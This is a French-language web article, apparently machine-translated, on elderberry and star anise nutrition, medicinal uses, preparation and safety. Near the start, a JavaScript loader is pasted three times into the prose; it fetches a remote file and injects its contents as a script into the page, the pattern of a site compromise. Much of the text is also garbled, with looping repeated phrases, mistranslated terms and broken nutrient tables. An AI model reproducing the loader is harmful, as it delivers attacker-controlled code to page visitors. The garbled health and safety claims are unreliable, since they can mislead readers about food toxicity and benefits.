Leur arôme spécial provient de l’huile essentielle, Anethole.

Des grappes de fleurs blanches ou crème couvrent la plante au début de l’été. Les petites baies rondes, de 8 à 10 mm de taille noire ou violettes apparaissent par la suite, qui peuvent être prêtes à la récolte d’ici juin, et la saison dure jusqu’en septembre.

À maturité, les personnes âgées en grappes sont suspendues à la hausse comme la tige souvent penchée sous le poids. Un seul cluster peut contenir des centaines de baies. La récolte se fait en sélectionnant la main. (var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });) (var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });) (var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });)

European Elderberries (S. Nigra / Black Elder) sont intensément acidulées et rarement comestibles. American Elder (S. canadensis) ou un aîné commun sont relativement plus doux et acidulés. Seuls les anciens bleus ou violets sont comestibles et d’autres variantes de couleur sont simplement évitées pour leur éventuelle toxicité.

Les deux espèces nécessitent un sol sablonneux bien drainé et riche en azote. Tout comme dans l’arbuste des bleuets, il préfère trop les conditions ensoleillées ouvertes et intolérants de l’ombre. En général, ces baies peuvent être prêtes à la récolte lorsqu’elles deviennent complètement noires ou violettes profondes, et mous.

Les avantages pour la santé des sureau

100 g de sureautés frais portent 73 calories. Ces minuscules baies possèdent plusieurs nutriments végétaux de santé de santé uniques tels que les antioxydants flavonoïdes pigmentaires, les anthocyanes, les minéraux et les vitamines qui contribuent énormément à la santé et au bien-être robustes.

Les baies possèdent l’une des plus grandes forces antioxydantes parmi les objets de codes parmi les coquins parmi les codibles parmi les codibles parmi les codibles parmi les codibles parmi les codibles parmi les ventes codes-codes ediables parmi les codes ecclément codes-coduables parmi les codes eccléniques parmi les codibles parmi les codes eccléniques parmi les codes ecclément codes baies. La valeur ORAC de 100 g de sureau frais est de 10775 TE (équivalents Trolox), alors qu’il ne représente que 5562 TE pour la myrtille. Leur valeur antioxydante, de même que dans toute autre brousse, provient également en grande partie de composés flavonoïdes polyphénoliques tels que les flavonoïdes Isorhamnetin, Kaempferol, la quercétine, etc. Ensemble, ces composés aident à récupérer les radicaux à oxygène libres du corps humain, et à la protéger des couvercles, à récupérer les radicaux à oxygène libres du corps humain, et là, à protéger des couvercles, à récupérer les radicaux oxygiques libres du corps humain, et ainsi, à protéger des suceurs, à récupérer les radicaux oxygiques libres du corps humain, et ainsi, à protéger des suceurs, à récupérer les radicaux d’oxygène libres du corps humain, et de manière à le protéger des suceurs, de récupérer les radicaux à oxygène libres du corps humain, et ainsi, de la protéger des couvercles, vieillissement, maladies dégénératives et infections.

Les personnes âgées fraîches sont d’excellentes sources de vitamine-C. 100 g transportent 36 mg ou 60% des niveaux d’apport quotidiens recommandés de vitamine-C.

La vitamine-C est l’un des puissants antioxydants naturels solubles dans l’eau qui fonctionne contre la grippe virale. Il contribue également à stimuler l’immunité, la guérison des blessures, la lutte contre les cancers et requise par le corps pour la réparation des tissus et le cartilage.

Les Elderberries sont également des sources incroyables de vitamine-A (fournir 600 UI ou 20% de RDA pour 100 g), plusieurs fois plus que celle des autres baies comme la myrtille (54 UI / 100 g), le boukeberry (214 UI / 100 g), etc.

vitamine-A est un nutriments essentiels requis pour maintenir une muqueuse et une peau saines et est nécessaire pour une bonne santé oculaire. La consommation de fruits naturels riches en flavonoïdes et vitamines-A peut offrir une protection contre les cancers des caves pulmonaires et oraux.

Les baies portent également une quantité relativement bonne de groupe B-complexe de vitamines telles que la niacine, la pyridoxine (18 % RDI / 100G), folates et acide pantothénique. Ces vitamines fonctionnent comme co-facteurs pour les enzymes qui aident au métabolisme des glucides, des protéines et des graisses.

En outre, ils contiennent une bonne quantité de minéraux comme le calcium, le potassium, le manganèse, le fer et le phosphore . Le potassium est un composant important des fluides cellulaires et corporels qui aide à contrôler la fréquence cardiaque et la pression artérielle. Le corps utilise le manganèse comme cofacteur pour l’enzyme antioxydante, la superoxyde dismutase. Le cuivre est essentiel pour la production de globules rouges. Le fer est requis pour la formation de globules rouges.

Voir le tableau ci-dessous pour une analyse en profondeur des nutriments:

Elderberries (Sambuccus canadensis) ORAC Valeur 10775, valeur nutritionnelle pour 100 g. ( Source: USDA National Nutrient Data Base)

.Principleutrient Valuecentce de RDAenergy73 KCAL3,6% Glucides 18,40 G14% Protéine 0,66 G1% FAT0,50 G2% Cholestérol0 Mg0% Niacin0 .500 mg3% d’acide pantothénique0,140 mg2,5% pyridoxine0,230 mg18% riboflavin0,060 mg 4,5% de vitamine A600 IU20% Vitamin C36 mg60% Electrolytessodium6 Mg0.5% Potassium280 mg6% mineralcalcium38 mg4% 1 mg20% mineralcale .5% phosphore39 mg5.5% zinc0.11 mg1% phyto-nutrientiesorhamnetin5.4 mg – Quercétine26,8 mg –

Les utilisations médicinales de l’aîné comestible. D’autres parties végétales, y compris son écorce, ses feuilles et ses racines, portent des niveaux élevés d’alcaloïdes toxiques et doivent être évités.

Les baies et les fleurs sont trop utilisées dans plusieurs médicaments traditionnels du monde. Le noral des fleurs de sureau a été un remède domestique commun pour les symptômes de la grippe.

Son extraction de fruits a trouvé son utilité comme anti-catarrhal (empêche le froid), l’expectoration (anti-tussive), le stimulant circulatoire et l’anti-inflammatoire local Actions.

Sélection et stockage

La saison des sureauteurs dure de juin à septembre aux États-Unis et en Europe. La récolte se fait par trimestre. En général, l’ensemble du groupe de baies s’est séparé de la brousse. Les grappes peuvent être conservées au réfrigérateur pour une utilité étendue. Sur les marchés des agriculteurs, vous pouvez trouver des sujets de sureau prêts à l’emploi à la vente.

En général, les baies destinées à préparer la gelée et le sirop sont achetés par des clients potentiels ou à petite échelle transformateurs de fruits. Contrairement à d’autres baies et fruits de grande taille, les personnes âgées brutes attirent moins attention en raison de leur petite taille et de leur saveur acidulée intense.

Dans les magasins, recherchez des baies fraîches / baies violettes. Évitez les Elderberries rouges. Évitez également les baies très douces ou ratatinées, sur-manquées et meurtries et celles avec des signes de moisissure et de bouillon ancien.

Préparation et conseils de service

entièrement entièrement des sureau à l’aide d’une fourche. Photo-Blesssseurope.

Les Elderberries ont une tige au goût amer, s’attachant fermement en haut comme dans les cerises qui doivent être séparées avant utilisation. Pour faciliter ce travail, l’ensemble de la grappe de baies maintenue à l’intérieur du congélateur pour les durcir qui se séparait ensuite de la panicule en se déshabillant ou en secouant. L’autre excellent moyen est de peigner la panicule à l’aide d’une fourche. Ainsi, les baies préparées sont ensuite regelées pour une utilisation ultérieure ou décongelées pour un traitement rapide.

Les Elderberries portent une saveur sucrée mais extrêmement acidulée et, par conséquent, préférée uniquement après la cuisson.

En voici quelques-unes Conseils de service:

La fleur de sureau, la fleur de sureau, est une boisson rafraîchissante de saison estivale préférée à travers l’Europe.

Les baies peuvent être utilisées dans la préparation de la confiture, de la gelée, du sirop et des concentrés.

La soupe froide de l’ancien est une boisson traditionnelle de saison estivale en Allemagne.

Elderberries sèches a trouvé leur utilisation dans les gâteaux, la tarte, le pudding d’été, les miels, les muffins, etc.

Le thé de baies séchées / suré comestible. Les anciens rouges (Sambucus racemosa) sont assez toxiques et donc évités. Les feuilles de sureau, les racines, les tiges portent des composés alcaloïdes de cyanidine qui, lorsqu’ils sont consommés, peuvent produire des nausées, des vomissements et des symptômes neurologiques. (Avertissement médical).

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Une lecture et des ressources supplémentaires :

Reportez-vous à Stanford School of Medicine Cancer Information Page – Nutrition pour réduire le risque de cancer (le lien ouvre une nouvelle fenêtre).

Elderberry comme Université Pudue médicinale. (Le lien s’ouvre dans une nouvelle fenêtre).

USDA National Nutrientl Dtabase.

Guide des plantes USDA-PDF.

Facts nutritionnels de l’anis star

L’anis étoile est le fruit en forme d’étoile de la plante d’épices originaire des forêts de pluie montagneuses du sud-est de la Chine et du Vietnam. Populaire comme Ba Jiao en Chine continentale, l’épice a fait partie de la célèbre poudre de cinq épices chinoise.

botaniquement, l’épice est membre de la famille Magnoliaceae. Nom scientifique: Illicium verum.

L’anis étoile est un arbre à feuilles persistantes de taille moyenne, atteignant une hauteur d’environ 30 pieds. Il pousse bien dans les sols riches en humus, bien drainés, légèrement acides à neutres.

L’arbre porte des fruits après 6 à 7 ans de plantation, mais il a ensuite une vie productive jusqu’à cent ans. Des fleurs jaunes en forme de jonquille apparaissent en mars à mai qui se développent pour produire des fruits d’ici octobre. Les fruits bruts et immatures source utile sont verts, qui s’ouvrent dans une forme d’étoile en atteignant la maturité.

Les pods de fruits d’étoile mature sont récoltés juste avant qu’ils ne mûrissent complètement. Ils disposent de péricarpe brun rougeâtre en forme d’étoile composé de 6 à 8 points (carpelles) disposés en schéma de verticille. Chaque point (carpelle) mesure 1,5 cm de long, en forme de bateau et en fermant une seule graine. Les graines sont dures, de couleur ambre, ovoïdes, lisses et brillantes.

Les graines, ainsi que la balle, ont une utilisation précieuse comme épice de condiment. Star Anise présente un goût délicatement sucré et un parfum aromatique agréable avec une saveur de réglisse distinctive. Leur arôme spécial provient de l’huile essentielle, de l’attente.

La culture anisée des étoiles est cultivée à une échelle commerciale dans les provinces du Yunnan, Guizhou et Guangxi de Chine et la province de Lang Son (district de Van Quan) du Vietnam.

10 Avantages incroyables pour la santé de l’anis étoile

Le péricarpe (couche externe) de l’anis étoile représente la grande partie de ses huiles volatiles. Outre les huiles essentielles, l’épice détient plusieurs antioxydants, minéraux et vitamines importants qui jouent un rôle vital prévention des maladies, promotion de la santé et bien-être.

La principale huile volatile essentielle qui donne la saveur sucrée et aromatique caractéristique à étaler L’anis est une anethole. L’anéthole est un composé oganique qui est 13 fois plus doux que le sucre.

Des études de réinstallation ont signalé que l’Aéthole possède des propriétés antibactériennes, y compris à la fois des effets bactériostatiques et bactéricide contre Salmonella enterica et in vitro, les effets inhibiteurs sur les bactéries grammes positives telles que Streptoccusus .

Certaines des autres substances chimiques importantes de Ba Jiao sont le méthyl chersvicol, l’anisaldéhyde, le pinène, le péruviol (nérolidol), le citrophène, le cinéol, la safrole, etc.

huile d’anis étoile obtenue à partir de l’huile d’origine obtenue à partir de l’huile de l’anis obtenue à partir de provenant de l’huile de l’anis obtenue à partir de provenant de l’huile de l’anis obtenue à partir de provenant de l’huile à partir de provenant de l’huile de l’anis obtenue à partir de provenant de l’huile à partir de provenant de l’huile de l’anis obtenue à partir de provenant de l’huile à partir de provenant de l’huile à partir de l’après L’épice a été trouvée application dans de nombreux médicaments traditionnels chinois (TCM) comme carminitifs, ventre, antiseptique, anti-spasmodique, digestif, expectorant, stimulant et tonique.

dans les médicaments traditionnels chinois (TCM), anise étoile La nutrition est considérée comme une réglementation de Qi et considérée comme un aliment de lancement de Yang (chaleureux). Il a trouvé utile comme un élément d’épices réconfortant pour contrer les rhumes hivernaux et les épisodes de grippe.

L’anis étoile aurait donné 3 à 7% d’acide shikimique. L’acide shikimique est un composant important du médicament Oseltemvir (Tamiflu) utilisé pour le virus de la grippe de traitement.

L’épice est une excellente source de nombreuses vitamines de complexe B essentiels telles que la niacine, la pyridoxine, l’acide pantothénique et la riboflavine .

L’épice étoile est une excellente source de minéraux comme le calcium, le fer, le phosphore, le potassium, le manganèse, le zinc et le magnésium.

De plus, l’épice contient également certains autres antioxydants précieux Les vitamines telles que la vitamine-C et la vitamine-a.

Traitement

Il existe principalement quatre méthodes de traitement de l’anis étoile: séchage du soleil, blanchiment et séchage du soleil, déshydratation mécanique et séchage du déshydrateur .

Pour le séchage du soleil, les anises d’étoiles non mûres fraîchement récoltées sont séchées en tas dans le champ de séchage, avec un virage régulier jusqu’à ce qu’ils soient complètement séchés.

Blanching et séchage du soleil: les pods d’anis étoiles sont blanchis Dans 90 à 100 degrés C de l’eau pendant 4 à 6 minutes avec une agitation occasionnelle. Lorsque la couleur des fruits verts devient jaune clair, retirez le M de l’eau blanchatrice. Étaler sur le champ de séchage et sécher sous le soleil.

Séchage mécanique: chauffer le déshydrator à 90-100 degrés C et mettre les fruits d’anis étoiles fraîchement récoltés. Ajuster la température à 50-60% et Maintenir la température pendant 7 à 8 heures pour terminer la déshydratation.

Séchage du déshydrateur: c’est la méthode rapide. Ici, des fruits anisés d’étoiles frais sont placés dans les chambres de cuisson à vapeur générées par la chaudière à 45-55 degrés C. Le processus peut être achevé dans 24 h.

Sélection et stockage

entiers as ainsi que le sol que la poudre d’anis étoile peut être facilement disponible sur les marchés asiatiques et les magasins spécialisés toute l’année. Les carpelles bruns rouillé, qui émettent un arôme agréable lorsqu’ils sont frottés entre l’index et les doigts du pouce. un récipient hermétique loin de la forte lumière et de l’humidité. Les épices moulues et en poudre doivent être conservées à l’intérieur des récipients hermétiques et utilisées le plus tôt possible car il perd sa saveur assez rapidement.

Utilisations médicinales de l’anis étoile

anis étoile et son application trouvée à l’huile Dans de nombreux médicaments traditionnels, en particulier en médecine traditionnelle chinoise (TCM) pour leur santé unique, la promotion de la santé et la prévention de la maladie préoccupant les rôles.

L’extraction de l’anis étoile est un excellent remède pour la toux, la bronchite et le flux viral

Sa perfusion peut être utile dans les troubles digestifs tels que les douleurs à l’estomac, les nausées, les flatulences et l’indigestion.

En Chine et à Taïwan, ses carpelles individuels (points) mâchaient comme assaigneur de bouche.

L’aéthole d’huile essentielle (l’anis étoilé comprend 70 à 90%) s’est avérée avoir l’effet œstrogénique. La décoction obtenue à partir des graines souvent prescrites chez les mères infirmières pour promouvoir la lactation.

Utilisations culinaires

L’anis étoile est une épice unique avec la cuisine chinoise. Il a un goût de réglisse ou d’anis. Les gousses entières, sa poudre moulue ou l’huile employée dans des cuisine savoureuse dans toute la Chine continentale, le Vietnam, le Japon, l’Inde et d’autres régions d’Asie du Sud.

L’anis étoile est l’un des principaux ingrédients des cinq chinois populaires. Le mélange d’épices avec des graines de fenouil, de la cannelle, des grains de poivre du Sichuan (Hua jiao) et des clous recette.

Staranise entière ajoutée à des soupes de saveur telles que la soupe de nouilles de boeuf vietnamien (Pho Bo) et les plats chinois populaires tels que le ragoût de bœuf Hui.

ANISE D’ÉTARD bien connu sous le nom de chakra phool En Inde et au Pakistan où il employait comme article en vedette dans les masalas Garam pour aromatiser différents types de légumes et de ragoûts et currys de viande, et pour mariner la viande.

Cette épice aromatique est utilisée comme base aromatisante pour les soupes, Sauces, pain, muffins, gâteaux, biscuits et dans divers autres confiseries.

D’une manière similaire à l’anis, étoile d’anis aussi utilisée également Pour savourer les boissons incluez le Prenod, la pastis français, l’Ojen espagnol, etc.

en petites quantités, il est également utilisé comme agent aromatisant dans la préparation du thé d’épices dans toute la Chine.

Profil de sécurité

L’anis étoile est sûr lorsqu’il est utilisé en petites quantités. Ses huiles volatiles comprennent certains sesquiterpénoïdes neurotropes, les veranisatines A, B et C. veranisatines ont montré une convulsion et une toxicité mortelle chez les animaux expérimentaux.

L’huile et le thé d’anis étoiles ne devraient pas être utilisés chez les jeunes enfants de moins de 5 ans et chez les femmes enceintes.

Contents

• Les avantages pour la santé des sureau
  • Les utilisations médicinales de l’aîné comestible. D’autres parties végétales, y compris son écorce, ses feuilles et ses racines, portent des niveaux élevés d’alcaloïdes toxiques et doivent être évités. Les baies et les fleurs sont trop utilisées dans plusieurs médicaments traditionnels du…
  • Préparation et conseils de service
• Facts nutritionnels de l’anis star
• 10 Avantages incroyables pour la santé de l’anis étoile
  • Traitement
  • Sélection et stockage
  • Utilisations médicinales de l’anis étoile
  • Utilisations culinaires
  • Profil de sécurité